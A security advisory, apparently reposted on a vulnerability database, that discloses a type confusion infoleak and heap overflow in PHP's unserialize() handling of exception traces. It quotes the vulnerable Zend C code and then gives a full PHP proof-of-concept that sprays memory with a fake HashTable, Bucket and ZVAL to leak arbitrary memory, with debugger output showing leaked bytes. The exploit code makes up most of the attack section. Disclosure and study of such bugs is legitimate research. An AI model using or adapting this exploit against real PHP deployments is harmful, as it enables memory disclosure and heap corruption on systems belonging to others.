`# Type Confusion Infoleak and Heap Overflow Vulnerability in
unserialize() with exception
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3
- Release Date: 2015.4.28
> A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.8
Affected is PHP 5.5 < 5.5.24
Affected is PHP 5.4 < 5.4.40
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
```
ZEND_METHOD(exception, getTraceAsString)
{
zval *trace;
char *res, **str, *s_tmp;
int res_len = 0, *len = &res_len, num = 0;
DEFAULT_0_PARAMS;
res = estrdup("");
str = &res;
trace = zend_read_property(default_exception_ce, getThis(), "trace",
sizeof("trace")-1, 1 TSRMLS_CC);
zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC,
(apply_func_args_t)_build_trace_string, 3, str, len, &num);
...
static int _build_trace_string(zval **frame TSRMLS_DC, int num_args,
va_list args, zend_hash_key *hash_key) /* {{{ */
{
char *s_tmp, **str;
int *len, *num;
long line;
HashTable *ht = Z_ARRVAL_PP(frame);
zval **file, **tmp;
...
TRACE_APPEND_KEY("class");
TRACE_APPEND_KEY("type");
TRACE_APPEND_KEY("function");
...
#define TRACE_APPEND_KEY(key)
\
if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) { \
if (Z_TYPE_PP(tmp) != IS_STRING) { \
zend_error(E_WARNING, "Value for %s is no string", key); \
TRACE_APPEND_STR("[unknown]"); \
} else { \
TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp)); \
} \
}
```
The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a
fake HashTable and a fake Bucket. So we can supply a fake sring-type
ZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro,
causing a crash or an information leak.
```
#define TRACE_APPEND_STRL(val, vallen) \
{ \
int l = vallen; \
*str = (char*)erealloc(*str, *len + l + 1); \
memcpy((*str) + *len, val, l); \
*len += l; \
}
```
There is using signed integer arithmetic in erealloc(). The memcpy()
function's third parameter is a unsiged integer. The vallen can be
completely control and we can supply negative value via a fake
string-type ZVAL. So we can assign a value to val which is larger than
real allocated memory. The memcpy() will then copy more data than the
heap-based buffers can hold, causing a heap-based buffer overflow.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20.
```
<?php
ini_set("memory_limit", -1);
setup_memory();
$x = unserialize('O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:'.strlen($hashtable).':"'.$hashtable.'";}');
echo $x, "\n";
function setup_memory()
{
global $str, $hashtable;
$base = 0x114000000 + 0x20;
$bucket_addr = $base;
$zval_delta = 0x100;
$hashtable_delta = 0x200;
$zval_addr = $base + $zval_delta;
$hashtable_addr = $base + $hashtable_delta;
$bucket = "\x01\x00\x00\x00\x00\x00\x00\x00";
$bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00";
$bucket .= ptr2str($bucket_addr + 3*8);
$bucket .= ptr2str($zval_addr);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(zhash('class'));
$bucket .= "\x06\x00\x00\x00\x00\x00\x00\x00";
$bucket .= ptr2str($bucket_addr + 3*8 + 9*8);
$bucket .= ptr2str($zval_addr + 5*8 + 6);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str(0);
$bucket .= ptr2str($zval_addr + 2*5*8 + 2*6);
$bucket .= ptr2str($bucket_addr);
$bucket .= ptr2str($bucket_addr + 9*8);
$hashtable = "\x00\x00\x00\x00";
$hashtable .= "\x01\x00\x00\x00";
$hashtable .= "\x03\x00\x00\x00";
$hashtable .= "\x00\x00\x00\x00";
$hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00";
$hashtable .= ptr2str(0);
$hashtable .= ptr2str($bucket_addr);
$hashtable .= ptr2str($bucket_addr + 9*8);
$hashtable .= ptr2str($bucket_addr + 18*8);
$hashtable .= ptr2str(0);
$hashtable .= "\x00";
$hashtable .= "\x00";
$zval = ptr2str($hashtable_addr);
$zval .= ptr2str(0);
$zval .= "\x00\x00\x00\x00";
$zval .= "\x04";
$zval .= "\x00";
$zval .= ptr2str(0);
$zval .= ptr2str(0);
$zval .= ptr2str(0);
$zval .= ptr2str(0x100352572);
$zval .= ptr2str(0x16);
$zval .= "\x00\x00\x00\x00";
$zval .= "\x06";
$zval .= "\x00";
$zval .= ptr2str(0);
$zval .= ptr2str(0);
$zval .= ptr2str(0);
$zval .= ptr2str(hexdec(bin2hex(strrev('class'))));
$part = str_repeat("\x73", 4096);
for ($j = 0; $j < strlen($bucket); $j++) {
$part[$j] = $bucket[$j];
}
for ($j = 0; $j < strlen($hashtable); $j++) {
$part[$j + $hashtable_delta] = $hashtable[$j];
}
for ($j = 0; $j < strlen($zval); $j++) {
$part[$j + $zval_delta] = $zval[$j];
}
$str = str_repeat($part, 1024*1024*256/4096);
}
function ptr2str($ptr)
{
$out = "";
for ($i=0; $i<8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function zhash($key)
{
$hash = 5381;
$key = $key;
$len = strlen($key) + 1;
for (; $len >= 8; $len -= 8) {
for ($i = 0; $i < 8; $i++) {
$hash = (($hash << 5) + $hash) + ord($key{$i});
}
}
$key = substr($key, -$len);
for ($i = 0; $i < $len; $i++) {
$hash = (($hash << 5) + $hash) + ord($key{$i});
}
return $hash;
}
?>
```
Test the PoC on the command line, then output some memory blocks:
```
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run tcpoc.php
Process 1825 launched: '/usr/bin/php' (x86_64)
exception 'Exception' in tcpoc.php:7
Stack trace:
#0 [internal function]: UH??AWAVSPI??I??H????()
#1 {main}
Process 1825 exited with status = 0 (0x00000000)
```
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation